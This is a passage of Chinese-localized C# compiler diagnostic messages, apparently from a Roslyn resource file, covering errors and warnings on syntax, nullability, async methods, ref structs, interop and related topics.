常量作为 '{0}' 的模式。请改用空字符串。 + 入口点不能是泛型的或属于泛型类型 + “{0}”没有合适的静态 'Main' 方法 + 在显式分配字段'{0}'之前,将向调用方返回控件,从而导致前面的隐式分配为“default”。 + 单元素解构模式需要一些其他语法来消除歧义。建议在关闭 paren ")" 之后添加放弃指示符 "_"。 + “{0}”的完全限定名对于调试信息太长。请在不使用“/debug”选项的情况下编译。 + 在将控件返回给调用方之前,必须在构造函数中完全分配结构的字段。请考虑更新语言版本以自动默认字段。 + 可选参数必须出现在所有必需参数之后 + 警告正在重写错误 + 这个标签尚未被引用 + 声明了变量“{0}”,但从未使用过 + 使用泛型 {1}“{0}”需要 {2} 个类型参数 + “UnmanagedCallersOnly”方法“{0}”无法实现类型“{2}”中的接口成员“{1}” + 应输入 #endif 指令 + goto 无法跳转到 using 声明后的某个位置。 + 当前的方法调用返回一个 Task 或 Task<TResult> 的 async 方法,并且不会将 await 操作符应用到结果中。对 async 方法的调用将启动异步任务。但是,由于未应用 await 操作符,程序将继续运行而不会等待任务完成。在多数情况下,这种行为并不是你想要的。通常,调用方法的其他部分依赖调用结果,或者至少从包含此调用的方法中返回前需要完成此被调用的方法。 + +一个同样重要的问题是在调用的 async 方法中产生的异常将发生什么情况。在返回 Task 或 Task<TResult> 的方法中产生的异常存储在返回的任务中。如果你不等待任务完成或显式检查异常,则异常将丢失。如果你等待任务完成,则此异常将重新抛出。 + +最佳的做法是你应始终等待此调用完成。 + +仅当你确定不需要等待异步调用完成,并且调用的方法不会产生任何异常时,你可以考虑取消警告。为此,你可以通过将调用的任务结果分配给一个变量来取消警告。 + 查询表达式 + 必须保护记录成员“{0}”。 + “{0}”特性的参数值无效 + 不可知的程序集不能具有特定于处理器的模块“{0}”。 + 格式说明符不能包含尾随空格。 + 无法将 UnscopedRefAttribute 应用于此参数,因为默认情况下未限定其范围。 + 类型 "{0}" 不能用作 new() 目标类型 + InterpolatedStringHandlerArgumentAttribute 参数不能引用在其上使用该属性的参数。 + 变量已被赋值,但从未使用过它的值 + add 访问器或 remove 访问器必须有一个主体 + “{0}”显式方法实现无法实现“{1}”,因为它是一个访问器 + 成员在运行时使用多个匹配项实现接口成员 + XML 注释中对“{0}”有重复的 param 标记 + 枚举器名“{0}”是保留名称,不能使用 + 表达式树 lambda 不能包含一个字典初始值设定项。 + 内插原始字符串字面量的开头没有足够的 \"$\" 字符以允许将这么多连续的右大括号作为内容。 + 内联数组 “Slice” 方法将不用于元素访问表达式。 + 成员“{0}”不会隐藏可访问成员。不需要关键字 new。 + 命名参数规范必须出现在已在动态调用中指定所有固定参数之后。 + “{0}”: 静态类型不能用作参数 + 传递到 #pragma 警告预处理器指令的编号不是有效的警告编号。验证该编号是否表示警告而不是错误。 + 在 catch 块和 finally 块中等待 + 返回类型中引用类型的为 Null 性与目标委托不匹配(可能是由于为 Null 性特性)。 + “{0}”: 入口点不能是泛型的或属于泛型类型 + “{0}”不实现接口成员“{1}” + “{0}”不包含“{1}”的定义,并且最佳扩展方法重载“{2}”需要类型为“{3}”的接收器 + 仅脚本中允许使用 #r + 不可将动态类型的参数传递到具有推断类型参数的泛型本地函数“{0}”。 + #line 指令结束位置必须大于或等于起始位置 + 语法树已存在 + 主构造函数参数由基中的成员隐藏 + 必须先完全分配自动实现的属性'{0}',然后才能将控件返回到调用方。请考虑更新到语言版本'{1}'以自动默认属性。 + 使用可能未分配的字段。请考虑更新到语言版本以自动默认字段。 + 解引用可能出现空引用。 + 无效输出名: {0} + 具有 ComImport 特性的类不能有用户定义的构造函数 + CollectionBuilderAttribute 方法名称无效。 + 返回表达式必须为“{0}”类型,因为此方法通过引用返回 + 只读类型的主构造函数参数“{0}”的成员不能用作 ref 或 out 值(在该类型的 init-only 设定子或变量初始值设定项中除外) + 自动实现的属性必须具有 get 访问器。 + 标识符“{0}”不符合 CLS + ++ 或 -- 运算符的返回类型必须与参数类型匹配,或者必须从参数类型派生,或者必须是包含类型的被其约束的类型参数,除非该参数类型是不同的类型参数。 + 内联数组转换运算符将不用于从声明类型的表达式进行转换。 + 读取“{0}”的调试信息时出错 + 表达式树不能包含 ref 结构或受限类型“{0}”的值。 + 静态类不能包含析构函数 + 参数“{0}”是参数“{1}”上的内插字符串处理程序转换的参数,但在内插字符串表达式后面指定了相应的参数。请重新排序参数以将“{0}”移到“{1}”之前。 + 给定表达式始终为所提供的(“{0}”)类型 + 不支持源文件引用。 + 参数的引用类型修饰符与隐藏成员中的相应参数不匹配。 + “{0}”: 静态类型不能用作返回类型 + 在分部结构“{0}”的多个声明中的字段之间没有已定义的排序方式。要指定排序方式,所有实例字段必须位于同一声明中。 + 可访问性不一致: 索引器返回类型“{1}”的可访问性低于索引器“{0}” + 符合 CLS 的字段不能是可变字段 + C# {0}不支持非逐字内插字符串内的换行符。请使用语言版本 {1} 或更高版本。 + 可访问性不一致: 参数类型“{1}”的可访问性低于方法“{0}” + 树必须具有带 SyntaxKind.CompilationUnit 的根节点 + 只有 assignment、call、increment、decrement 和 new 对象表达式可用作语句 + 应用到参数“{0}”的 CallerFilePathAttribute 将不起作用,因为它应用到的成员在不允许使用可选参数的上下文中使用 + params 在此上下文中无效 + 表达式树 lambda 不能包含 ref、in 或 out 参数 + 文件本地类型 "{0}" 不能在 "global using static" 指令中使用。 + 无法使用集合初始值设定项初始化类型“{0}”,原因是它不实现“System.Collections.IEnumerable” + 指针类型不允许进行模式匹配。 + 类型“{0}”的表达式始终与提供的模式匹配。 + 功能“{0}”当前为预览版且*不受支持*。要使用预览版功能,请使用“预览”语言版本。 + 重载移位运算符的第一个操作数的类型必须与包含类型相同 + 自动属性初始值设定项 + 读取资源“{0}”时出错 --“{1}” + 应输入预处理器指令 + 重载移位运算符的第一个操作数的类型必须与包含类型或约束为该类型的类型参数相同 + '“等待”不能在包含“{0}”类型的表达式中使用 + 不能为属性或索引器“{0}”的两个访问器同时指定可访问性修饰符 + 分部方法声明具有签名差异。 + 模块初始值设定项方法“{0}”不能是泛型的,且不得包含在泛型类型中 + 元组元素名称必须是唯一的。 + 语言名无效 + “{0}”: 无法显式调用运算符或访问器 + “{0}”不能是外部的,也不能具有构造函数初始值设定项 + 可为 null 的值类型可为 null。 + 自动实现的属性无法通过引用返回 + 只允许在逐字内插字符串中使用多行原始字符串字面量。 + 缺少所需空格。 + 缺少对“{0}”netmodule 的引用。 + 使用可能未分配的字段 '{0}'。请考虑更新到语言版本 '{1}' 以自动默认字段。 + “{0}”定义 "Equals",而不定义 "GetHashCode" + 操作导致堆栈溢出。 + foreach 迭代变量 + “{0}”: 无法重写;“{1}”不是事件 + “{0}”与 TypeForwardedToAttribute 重复 + 固定大小缓冲区的长度必须大于零 + '“await”不能用作异步方法或 lambda 表达式中的标识符 + 常量值“{0}”无法转换为“{1}”(使用 "unchecked" 语法重写) + 标识符不符合 CLS + 字典初始值设定项 + C# 编译器中出现内部错误。 + 应用于参数“{0}”的 CallerArgumentExpressionAttribute 将不起任何作用。它由 CallerLineNumberAttribute 替代。 + 这会按引用返回一个参数,但它的作用域为当前方法 + 退出时参数“{0}”必须具有非 null 值,因为参数“{1}”是非 null。 + 内插字符串 + 在类型“{1}”的“{0}”中,并不是所有代码路径都返回值 + 可能非有意的引用比较;左侧需要强制转换 + 在基类型“{0}”中找不到可访问的复制构造函数。 + 已隐藏找到的此参数相应位置成员“{0}”。 + 无法解析为 PermissionSet 特性的命名参数“{1}”指定的文件路径“{0}” + 无效数字 + 引用程序集“{0}”具有不同区域性设置“{1}”。 + cref 特性中有不明确的引用 + 扩展方法的第一个参数的类型不能是“{0}” + 只读引用 + “{0}”是一个 {1},这在给定的上下文中无效 + 仅 ref 或 out 有区别,或者仅数组秩不同的重载方法“{0}”不符合 CLS + 参数类型 "void" 无效 + 在非泛型声明上不允许使用约束 + XML 注释中有语法错误的 cref 特性 + 匿名方法 + 只能在 "#nullable" 注释上下文内的代码中使用可为 null 的引用类型的注释。 + 表达式树不能包含 throw 表达式 + 无法将类型“{0}”转换为“{1}” + 筛选器表达式是常量 “false”,请考虑删除 try-catch 块 + 不能多次指定所命名的参数“{0}” + 数组类型说明符 [] 必须出现在参数名之前 + 无法将 null 转换为“{0}”,因为后者是不可为 null 的值类型 + 已多次指定分析器引用“{0}” + "partial" 修饰符的后面只能紧跟 "class"、"record"、"struct"、"interface" 或方法返回类型。 + 方法“{0}”必须是非泛型方法才能与“{1}”匹配。 + 类型不实现集合模式;成员不是公共实例或扩展方法。 + DefaultParameterValue 特性的实参类型必须与形参类型匹配 + "{0}" 没有目标类型 + 无效的引用别名选项:“{0}=”-- 缺少文件名 + 类型“{0}”不能用于记录的字段。 + 字段或自动实现的属性不能是类型“{0}”,除非它是 ref 结构的实例成员。 + 无效的变型: 除非使用了语言版本“{4}”或更高版本,否则类型参数“{1}”在“{0}”上必须是 {3} 有效的。“{1}”是 {2}。 + Using 指令在以前显示为全局使用 + 应用于参数“{0}”的 CallerArgumentExpressionAttribute 将不起任何作用,因为它适用于不允许指定可选实参的上下文中使用的成员 + 命名参数“{0}”的使用位置不当,但后跟一个未命名参数 + 只读字段“{0}”的成员无法通过可写的引用返回 + 无法将类型为“{0}”的表达式用作动态调度的操作的参数。 + 不允许源类型 "dynamic" 上或具有类型 "dynamic" 的连接序列的查询表达式 + 选项“{0}”重写源文件或添加的模块中给出的特性“{1}” + “{0}”: 成员名不能与它们的封闭类型相同 + “{0}”: 异步 using 语句中使用的类型必须可隐式转换为 "System.IAsyncDisposable" 或实现适用的 "DisposeAsync" 方法。是否希望使用 "using" 而非 "await using"? + 参数“{0}”出现在参数列表中的“{1}”之后,但用作内插字符串处理程序转换的参数。这将要求调用方在调用站点使用已命名参数重新排列参数。请考虑将内插字符串处理程序参数放在涉及的所有参数的后面。 + 无效的哈希算法名称:“{0}” + 上下文关键字“var”只能出现在局部变量声明或脚本代码中 + 表达式树可能不包含静态虚拟或抽象接口成员的访问权限 + 图像基数“{0}”无效 + 无法作为 out 或 ref 参数传递 Windows 运行时事件。 + “{0}”类型的实例不能在嵌套函数、查询表达式、迭代器块或异步方法中使用 + “{0}”不实现接口成员“{1}”。“{2}”无法实现“{1}”,因为它没有“{3}”的匹配返回类型。 + 应使用 “ref” 或 “in” 关键字 (keyword)传递参数 + 扩展的属性模式 + {0} 子句中其中一个表达式的类型不正确。在对“{1}”的调用中,类型推理失败。 + XML 注释中有引用类型参数的 cref 特性 + 文件本地类型 "{0}" 无法使用辅助功能修饰符。 + 主构造函数参数 '{0}' 由基中的成员隐藏。 + 应输入方法名称 + 在匿名方法、lambda 表达式或查询表达式中不能使用固定的局部变量“{0}” + 方法“{0}”将不会用作入口点,因为找到了同步入口点“{1}”。 + __arglist 在此上下文中无效 + 退出时,成员“{0}”必须具有非 null 值。 + 元素不能为 Null。 + 不是 C# 符号。 + 无法将方法组“{0}”转换为非函数指针类型“{1}”(&M)。 + “{0}”: 静态类型不能用作参数 + 只有 “using static” 或 “using alias” 才能为 “unsafe”。 + 从模块“{1}”导出的类型“{0}”与此程序集主模块中声明的类型冲突。 + switch 表达式不会处理属于其输入类型的所有可能值(它并非详尽无遗)。 + 非托管构造类型 + 这会获取托管类型的地址、获取其大小或声明指向它的指针 + 指定版本字符串 '{0}' 不符合所需格式 - major[.minor[.build[.revision]]] + foreach 语句实现“{1}”的多个实例化,因此不能在“{0}”类型的变量上运行;请尝试强制转换到特定的接口实例化 + XML 注释中有 param 标记,但是没有该名称的参数 + 应输入标识符 + 模式匹配 + 使用别名不能为可为 null 的引用类型。 + CallerMemberNameAttribute 将不起任何作用;它由 CallerFilePathAttribute 重写 + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + 文件类型 + 表达式树不能包含基访问 + 参数只能有一个“{0}”修饰符 + goto 语句范围内没有“{0}”这样的标签 + 不安全代码只会在使用 /unsafe 编译的情况下出现 + 调用“{0}”所返回的引用不能跨 "await" 或 "yield" 边界保留。 + “{0}”: 虚拟成员或抽象成员不能是私有的 + CallerArgumentExpressionAttribute 采用了无效的参数名。 + 记录中的位置字段 + 只读成员 + 引用程序集具有不同区域性设置 + 扩展方法“{0}”的第一个 "in" 或 "ref readonly" 参数必须是具体(非泛型)值类型。 + 生成器“{0}”未能初始化。它不会影响输出,因此可能会造成编译错误。异常的类型为“{1}”,显示消息“{2}”。 +{3} + 无法将类型为“{0}”的值用作可以为 null 的参数“{1}”的默认参数,因为“{0}”不是简单类型 + 不能将“{0}”类型的值用作默认参数,因为没有到类型“{1}”的标准转换 + 参数“{0}”的类型中引用类型的为 Null 性与可截获的方法“{1}”不匹配。 + 必须需要'{0}',因为它会覆盖必需的成员 '{1}' + “{0}”是抽象的,但它包含在非抽象类型“{1}”中 + 动态 + 可能的 null 引用赋值。 + 无法按引用参数“{0}”的成员返回,因为它的作用域为当前方法 + 程序集“{1}”中的模块“{0}”将类型“{2}”转发到多个程序集: “{3}”和“{4}”。 + #pragma 警告后应为 "disable" 或 "restore" + SecurityAction 值“{0}”对于应用于类型或方法的安全特性无效 + “{0}”是 {1},但此处被当做 {2} 来使用 + 记录成员“{0}”必须返回“{1}”。 + 预处理器指令必须作为一行的第一个非空白字符出现 + 字段 + 数组 + using 别名 + 数字分隔符 + 使用可能未分配的字段 '{0}'。请考虑更新到语言版本 '{1}' 以自动默认字段。 + 在 is-type 表达式中使用可以为 null 的引用类型“{0}?”是非法的;请改用基础类型“{0}”。 + 退出时,参数 "{0}" 必须具有非 null 值。 + 事件 + 修饰符“{0}”对该项无效 + 弃元 + 密钥文件“{0}”缺少签名所需的私钥 + 标签 + __arglist 表达式只能出现在调用或 new 表达式内部 + 不支持算法“{0}” + 方法必须具有返回类型 + 类型形参 + 枚举不能包含显式无参数构造函数 + “{0}”使用 "UnmanagedCallersOnly" 进行特性化,无法直接调用。请获取指向此方法的函数指针。 + 两个分部方法声明必须具有相同的可访问性修饰符。 + 不是此声明的有效特性位置 + 创建哈希时加密失败。 + 此方法只能用于创建标记 - {0} 不出标记类型。 + 不能在此特性中使用成员“{0}”。 + “{0}”不能定义仅在参数修饰符“{2}”和“{3}”上存在区别的重载 {1} + 函数指针“{0}”未采用 {1} 个参数 + Null 抑制运算符("!")重复 + 类型中引用类型的为 Null 性与重写成员不匹配。 + 当前上下文中不存在名称“{0}”(是否缺少对程序集“{1}”的引用?) + 关键字“base”在当前上下文中不可用 + 本地变量“{0}”在声明之前无法使用 + 异步 using + 元素内容中不允许使用字符串“]]>”。 + “{0}”: 无法实现动态接口“{1}” + 成员初始值设定项和查询中的表达式变量声明 + 目标运行时不支持 ref 字段。 + 由于 "scoped" 修饰符或 "[UnscopedRef]" 属性中存在差异,无法使用“{1}”截获对“{0}”的调用。 + “{0}”的分部方法声明在对类型参数“{1}”的约束中具有不一致的为空性 + 参数对于指定非托管类型无效。 + /REFERENCEPATH 选项 + 表达式树不能包含对本地函数的引用 + 字段具有多个不同的常量值。 + {0} 版本 {1} + 版权所有(C) Microsoft Corporation。保留所有权利。 + 安全特性“{0}”对此声明类型无效。安全特性仅对程序集、类型和方法声明有效。 + using static + 在当前调试会话期间添加的成员“{0}”只能从其声明的程序集“{1}”中访问。 + 文件中的第一个令牌后面不得使用 #load + 该类型名称仅包含小写 ascii 字符。此类名称可能会成为该语言的保留值。 + 表达式树不能包含输出参数变量声明。 + XML 注释 cref 特性中参数 {0} 的类型无效:“{1}” + 类型不能用作泛型类型或方法中的类型参数。类型参数的为 Null 性与 “class” 约束不匹配。 + 可访问性不一致: 约束类型“{1}”的可访问性低于“{0}” + “{0}”不能既是抽象的又是密封的 + 意外的字符“{0}” + “{0}”不是有效的命名特性参数。命名特性参数必须是非只读、非静态或非常数的字段,或者是公共的和非静态的读写属性。 + 无法识别的 #pragma 指令 + 无法声明静态类型“{0}”的变量 + 你已使用 /link (“嵌入互操作类型”属性设置为 True)将引用添加到程序集。这指示编译器从此程序集嵌入互操作类型信息。但是由于已引用的另一个程序集也使用 /reference (“嵌入互操作类型属性”设置为 False)引用了此程序集,因此编译器不能从此程序集嵌入互操作类型信息。 + +要为两个程序集嵌入互操作类型信息,请对每个程序集的引用使用 /link (“嵌入互操作类型”属性设置为 True)。 + +要移除警告,可改用 /reference (“嵌入互操作类型”属性设置为 False)。在此情况下,主互操作程序集(PIA)会提供互操作类型信息。 + 返回类型中引用类型的为 Null 性与可截获的方法“{0}”不匹配。 + 表达式主体属性访问器 + “{0}”定义运算符 == 或运算符 !=,但不重写 Object.Equals(object o) + 类型参数的数目不正确 + “{0}”不实现“{1}”模式。“{2}”有错误的签名。 + 异步 foreach 要求“{1}”的返回类型“{0}”必须具有适当的公共 "MoveNextAsync" 方法和公共 "Current" 属性 + 命名空间声明不能有修饰符或特性 + “{0}”: 标记为 StructLayout(LayoutKind.Explicit) 的实例字段类型必须具有 FieldOffset 特性 + 无法创建抽象类型或接口“{0}”的实例 + 事件的显式接口实现必须使用事件访问器语法 + “{0}”的常量值计算涉及循环定义 + “{0}”不是此声明的有效特性位置。此声明的有效特性位置是“{1}”。此块中的所有特性都将被忽略。 + 此上下文中类型“{0}”的 stackalloc 表达式的结果可能会在包含方法以外公开 + “{1}”与“{2}”之间的“{0}”不明确。请使用“@{0}”或明确包含“属性”后缀。 + 应输入 ; + 动态调度的调用可能会在运行时失败,因为一个或多个适用的重载为条件方法 + 命名空间与导入类型冲突 + 分部方法不能有多个实现声明 + “{0}”是一个“{1}”,无法用作 ref 或 out 值 + 友元访问权限由“{0}”授予,但是输出程序集的强名称签名状态与授予程序集的强名称签名状态不匹配。 + 创建目标类型对象 + 在带参数列表的类型中声明的构造函数必须拥有“this”构造函数初始化表达式。 + 约束不能是动态类型“{0}” + 运算符“{0}”无法应用于“{1}”类型的操作数 + 可写引用无法返回只读类型的主构造函数参数 + “{0}”: 对 volatile 字段的引用不被视为 volatile + 表达式树不能包含动态操作 + 隐式类型的局部变量不能是固定值 + 导入的类型“{0}”无效。它包含循环的基类型依赖项。 + 找到源类型“{0}”的多个查询模式实现。对“{1}”的调用不明确。 + 命令行开关“{0}”尚未实现,已忽略。 + 类型中引用类型的为 Null 性与实现的成员不匹配。 + 方法、运算符或访问器“{0}”标记为外部对象并且它上面没有任何特性。请考虑添加一个 DllImport 特性以指定外部实现。 + “{0}”不是来自“{1}”的有效参数名称。 + 可访问性不一致: 参数类型“{1}”的可访问性低于索引器“{0}” + 已在多个引用的程序集(“{1}”和“{2}”)中声明了预定义类型“{0}” + expression-bodied 属性 + 对于返回类型,"RefKind.Out" 不是有效的引用类型。 + 可选择的内插逐字字符串 + 在嵌套函数中的名称映射 + 静态字段或常量字段上不允许存在 FieldOffset 特性 + 不能在匿名方法、lambda 表达式或查询表达式内使用 ref 局部变量“{0}” + 无法按引用“{0}”返回参数,因为它的作用域为当前方法 + 运算符“{0}”对于“{1}”和“{2}”类型的操作数具有二义性 + “{0}”的返回类型不符合 CLS + 切换表达式 arm 不以 “case” 关键字 (keyword)开头。 + CallerArgumentExpressionAttribute 只能应用于具有默认值的参数 + 假定程序集引用与标识匹配 + “{0}”不包含“{1}”的定义,并且找不到可接受类型为“{0}”的第一个参数的扩展方法“{1}”(是否缺少针对“{2}”的 using 指令?) + 指定了延迟签名,这需要公钥,但是未指定任何公钥 + 由于“{0}”的默认值为 null,因此表达式总会导致 System.NullReferenceException + 索引器必须至少有一个参数 + 使用“{0}”测试与“{1}”的兼容性和测试与“{2}”的兼容性实质上是相同的,且对于所有非 null 值都将成功 + 指示的调用被截获多次。 + 应输入整型值 + 由于引用类型的可为 null 性差异,实参不能用作形参的输出。 + 尚未实现此语言功能(“{0}”)。 + 应从提交创建语法树。 + 完全限定名对于调试信息太长 + 必须在 “ref” 后指定 “readonly” 修饰符。 + 找不到 RuntimeMetadataVersion 的值。找不到包含 System.Object 的程序集,或未通过选项为 RuntimeMetadataVersion 指定值。 + 对可为 null 的引用类型的批注只应在 "#nullable" 批注上下文中的代码中使用。自动生成的代码要求在源中使用显式 "#nullable" 指令。 + 接口标记为 "CoClassAttribute" 而不是 "ComImportAttribute" + lambda 参数数组 + 已分配实例未按所有异常路径释放 + '应为 "in" + 引用的程序集“{0}”中有错误。 + 参数类型的为 Null 性与重写成员不匹配(可能是由于为 Null 性特性)。 + 任何位置都不允许使用元组元素名称“{0}”。 + 用负索引对数组进行索引(数组索引总是从零开始) + CLSCompliant 特性在应用于返回类型时无意义。请尝试将该特性应用于方法。 + 为 Main 方法指定的“{0}”必须是非泛型类、记录、结构或接口 + 这种参数组合可能会在变量声明范围之外公开由参数引用的变量 + 与集合初始值设定项元素最匹配的重载 Add 方法“{0}”已过时。{1} + CLS 遵从性检查在此程序集外部不可见,因此不会执行它 + “{0}”的分部声明对类型参数“{1}”具有不一致的约束 + 未能找到为 Main 方法指定的“{0}” + 将引用封送类的字段用作 ref 或 out 值或获取其地址可能导致运行时异常 + "and" 模式 + 未提供与“{1}”的所需参数“{0}”对应的参数 + 名称“{0}”与相应 "Deconstruct" 参数“{1}”不匹配。 + 提供的源代码类型不受支持或无效:“{0}” + 这将按引用返回作用域为当前方法的参数的成员 + 无法为参数数组指定默认值 + 对同一变量进行了赋值 + 预处理符号的名称无效;“{0}”不是有效的标识符 + “{0}”不能同时实现“{1}”和“{2}”,原因是它们可以统一以进行某些类型参数替换 + 转发到程序集“{1}”的类型“{0}”与从模块“{3}”导出的类型“{2}”冲突。 + 类型“{2}”必须是不可为 null 值的类型,才能用作泛型类型或方法“{0}”中的参数“{1}” + 静态类型不能用作返回类型 + 方法的签名错误,不能作为入口点 + “{0}”修饰符重复 + 逆变式 + 列表模式不能用于类型为“{0}”的值。 + 无法将 {0} 转换为类型“{1}”,因为返回类型与委托返回类型不匹配 + 原义说明符 @ 之后应为关键字、标识符或字符串@ + 在 C# {1} 中,修饰符 "{0}" 对此项无效。请使用语言版本 "{2}" 或更高版本。 + 显式接口实现“{0}”缺少访问器“{1}” + “{2}”必须是具有公共的无参数构造函数的非抽象类型,才能用作泛型类型或方法“{0}”中的参数“{1}” + “{0}”: 包含类型不实现接口“{1}” + '{0}': ref 结构不能实现接口 + 方法 '{0}' 必须为非泛型或具有 arity {1} 才能匹配 '{2}'。 + 未能找到源类型“{0}”的查询模式的实现。未找到“{1}”。是否缺少必需的程序集引用或用于 "System.Linq" 的 using 指令? + 用户定义的运算符不能返回 void + 参数类型中引用类型的为 Null 性与隐式实现的成员不匹配。 + 二进制文字 + 无法创建大小为负值的数组 + 基于模式的处置 + 静态类 + 重写和显式接口实现方法的约束 + 不能在匿名方法或 lambda 表达式内使用 yield 语句 + 无法嵌入类型“{0}”,因为它有泛型参数。请考虑将“嵌入互操作类型”属性设置为 false。 + 源文件已超过在 PDB 中可表示的 16,707,565 行的限制;调试信息将不正确 + ref 结构 + 索引运算符 + “{0}”不实现接口成员“{1}”。“{2}”不是公共的。 + 应用于 lambda 参数时,InterpolatedStringHandlerArgument 不起任何作用,并将在调用站点被忽略。 + “{1}”未定义类型参数“{0}” + 不要对大小写常量使用 "_"。 + 接收方类型 '{0}' 非有效记录类型,且非结构类型。 + typeof 运算符不能用在动态类型上 + 递增或递减运算符的操作数必须是变量、属性或索引器 + 仅在发出 PDB 时才支持 /embed 开关。 + 给定表达式不能用于 fixed 语句中 + “{0}”不能既是外部的又是抽象的 + 需要一个类型可转换为“{0}”的对象 + 无法创建静态类“{0}”的实例 + 使用了可能未赋值的字段“{0}” + 该 switch case 不可访问。它已由上一 case 处理或无法匹配。 + “{0}”隐藏继承的成员“{1}”。如果是有意隐藏,请使用关键字 new。 + Unicode 字符无效。 + 通过引用返回的 Lambda 表达式不能转换为表达式树 + 由于找不到编译器必需的类型“{0}”,因此无法使用元组来定义类或成员。是否缺少引用? + 使用来自文件“{0}”的公钥对输出签名时出错 -- {1} + “{0}”: 不能既指定约束类又指定“class”或“struct”约束 + 结构内的匿名方法、lambda 表达式、查询表达式和局部函数无法访问同时在实例成员内使用的主构造函数参数 + 参数类型中引用类型的为 Null 性与可截获的方法不匹配。 + “using static” 指令只能应用于类型;“{0}”是一个命名空间而不是类型。请考虑改用“using namespace”指令 + 如果不事先将 lambda 表达式强制转换为委托或表达式树类型,则无法将该表达式用作动态调度的操作的参数。 + 按值返回只能在按值返回的方法中使用 + 不能在此上下文中使用类型“{0}”的 stackalloc 表达式的结果,因为它可能会在包含方法以外公开 + 通用属性 + 筛选器表达式是常量 “true”,请考虑删除筛选器 + 指定为 TypeForwardedTo 特性的参数的类型无效 + 无法用“{0}”创建委托,因为它或它重写的方法具有 Conditional 特性 + 在此上下文中不可使用 default 字面量 + 意外的关键字“未选中” + '{0}' 所需的成员列表格式不正确,无法解释。 + 无法将类型“{0}”隐式转换为“{1}”。存在一个显式转换(是否缺少强制转换?) + 无法从 {1} 创建分析器 {0} 的实例: {2}。 + using 指令以前在此命名空间中出现过 + XML 注释中有无法解析的 cref 特性 + 无法显式引用 "System.Runtime.CompilerServices.TupleElementNamesAttribute"。请使用元组语法指定元组名称。 + 无效数字 + 委托“{0}”未采用 {1} 个参数 + “{0}”隐藏继承的抽象成员“{1}” + 重复的类型参数“{0}” + 与集合初始值设定项元素最匹配的重载 Add 方法已过时 + 与常量字符串上的 ReadOnly/Span<char> 匹配的模式 + 为“{0}”提供了不同的校验和值 + “{0}”: 事件必须是委托类型的 + 应用于参数 "{0}" 的 EnumeratorCancellationAttribute 将不起任何作用。该属性仅在返回 IAsyncEnumerable 的异步迭代器方法中 CancellationToken 类型的参数上有效 + yield return 之后应为表达式 + 只在发出 PDB 时才支持 /sourcelink 开关。 + 值中的引用类型的为 Null 性与目标类型不匹配。 + 参数类型中引用类型的为 Null 性与实现的成员不匹配。 + 安全特性的第一个参数必须是有效的 SecurityAction + “{0}”: 外部事件不能有初始值设定项 + 请勿使用 "System.Runtime.CompilerServices.ScopedRefAttribute"。请改用 "scoped" 关键字。 + 不能在范围变量声明中使用上下文关键字“var” + “/reference”的外部别名无效;“{0}”不是有效的标识符 + 成员隐藏继承的成员;缺少关键字 override + FieldOffset 特性只能放置在标记为 StructLayout(LayoutKind.Explicit) 的类型的成员上 + XML 注释中有重复的 param 标记 + 静态接口成员的变型安全性 + 类型 + “{0}”: 静态类型不能用作类型参数 + 此上下文中不允许使用 throw 表达式。 + switch 表达式不会处理其输入类型的某些值(它不是穷举),这包括未命名的枚举值。 + 应用于形参“{0}”的 CallerLineNumberAttribute 将不起任何作用,因为它适用于不允许指定可选实参的上下文中使用的成员 + 应输入可重载的二元运算符 + 找不到隐式类型数组的最佳类型 + 此位置不允许使用空格。 + XML 注释没有放在有效语言元素上 + 无法对 stackalloc 采用负值大小 + 命令行语法错误:“{1}”选项缺少“{0}” + 指针和固定大小缓冲区只能在不安全的上下文中使用 + 仅未命名数组类型不同的重载方法不符合 CLS + 控制离开方法之前必须对 out 参数赋值 + 生成 Win32 资源时出错 -- {0} + 不能在表达式树中使用只有定义声明的分部方法或已移除的条件方法 + 推断出元组元素名称“{0}”。请使用语言版本 {1} 或更高版本按推断名称访问元素。 + 可能非有意的引用比较;若要获取值比较,请将右边转换为类型“{0}” + XML 注释中有重复的 typeparam 标记 + 使用了未赋值的局部变量“{0}” + 类型和别名不能为 "file"。 + CallerArgumentExpressionAttribute 将不起任何作用;它由 CallerLineNumberAttribute 替代 + 标识为“{1}”的程序集“{0}”所使用的“{2}”版本高于所引用的标识为“{4}”的程序集“{3}” + 这将通过 ref 参数按引用“{0}”来返回参数;但只能在 return 语句中安全返回 + 非泛型 {1}“{0}”不能与类型参数一起使用 + 结构字段初始化表达式 + 程序集名“{0}”保留名称,不能在交互会话中用作引用 + 无法在具有 “UnmanagedCallersOnly” 特性的方法的签名中使用 “ref”、“in” 或 “out”。 + 类型定义运算符 == 或运算符 !=,但不重写 Object.Equals(object o) + 无法使用匿名方法、lambda 表达式、查询表达式或局部函数内具有 ref-like 类型的参数“{0}” + “{0}”: 类型必须是“{2}”才能与重写成员“{1}”匹配 + 在经符号扩展的操作数上使用了按位“或”运算符;请考虑首先强制转换为较小的无符号类型 + 筛选器表达式是常量 “false” + 不能使用非固定表达式中包含的固定大小缓冲区。请尝试使用 fixed 语句。 + 无法获取给定表达式的地址 + 表达式树不能包含“{0}” + 不能同时指定默认参数值与 DefaultParameterAttribute 或 OptionalAttribute + 类型“{2}”不能用作泛型类型或方法“{0}”中的类型参数“{1}”。类型参数“{2}”的为 Null 性与 “class” 约束不匹配。 + 找不到类型“{0}”适用的 Deconstruct 实例或扩展方法,输出参数为 {1},返回类型为 void。 + 多次显式实现“{0}”。 + 扩展方法必须在非泛型静态类中定义 + Attribute parameter 'SizeConst' must be specified. + “{0}”的类型为“{1}”。只能用 Null 对引用类型(字符串除外)的常量字段进行初始化。 + “{0}”不是函数指针的有效调用约定说明符。 + 返回类型中引用类型的为 Null 性与实现的成员“{0}”不匹配。 + "new()" 约束不能与 "struct" 约束一起使用 + 异步方法的参数列表中不允许有 __arglist + 无法截获: 编译不包含路径为“{0}”的文件。 + 由于优先级,无法在此处使用运算符“{0}”。使用括号可消除歧义。 + 退出时,参数必须具有非 null 值。 + 不要使用“System.Runtime.CompilerServices.ExtensionAttribute”。请改用“this”关键字。 + 必需成员 + 应为 add 访问器或 remove 访问器 + 控制不能离开匿名方法体或 lambda 表达式体 + 过时成员重写未过时成员 + 传递“{0}”无效,除非“{1}”是 "SignatureCallingConvention.Unmanaged"。 + 类类型约束“{0}”必须在其他任何约束之前 + 使用可能未赋值的自动实现的属性“{0}” + 分析器程序集“{0}”引用了编译器的版本“{1}”,该版本高于当前正在运行的版本“{2}”。 + “{0}”必须与重写成员“{1}”的引用返回匹配 + CallerFilePathAttribute 将不起任何作用;它由 CallerLineNumberAttribute 重写 + 扩展方法组不允许作为 "nameof" 